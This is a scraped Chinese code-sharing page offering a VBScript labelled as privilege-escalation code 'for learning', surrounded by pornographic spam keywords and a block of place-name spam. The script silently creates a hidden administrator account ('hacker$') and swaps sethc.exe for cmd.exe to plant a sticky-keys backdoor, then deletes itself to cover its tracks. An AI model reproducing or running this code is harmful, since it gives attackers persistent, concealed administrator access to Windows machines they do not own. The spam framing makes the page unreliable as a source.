最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

提權vbs代碼

 更新時間:2011年06月16日 00:54:27   作者:  
用了提升用戶權限的腳本代碼,學習vbs的朋友可以參考下。
復制代碼 代碼如下:

on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments
(0):password=Wscript.Arguments(1):Else:username="hacker$":password="123456":end if:set
wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject
(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword
password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo
of.ADsPath
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%
\system32\sethc.exe /G %USERNAME%:F&copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32
\acmd.exe&copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%
\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)

相關文章

最新評論

怀安县| 武陟县| 德令哈市| 丰台区| 正安县| 杭州市| 梅州市| 元谋县| 屏东县| 安泽县| 简阳市| 融水| 新沂市| 隆昌县| 弥渡县| 新邵县| 察隅县| 大厂| 尼玛县| 巴马| 灌阳县| 蓝山县| 镇远县| 嘉鱼县| 柳江县| 铁力市| 柏乡县| 绥滨县| 喀喇| 盐边县| 贵溪市| 藁城市| 习水县| 河源市| 清水河县| 论坛| 徐闻县| 金湖县| 石嘴山市| 浦北县| 中卫市|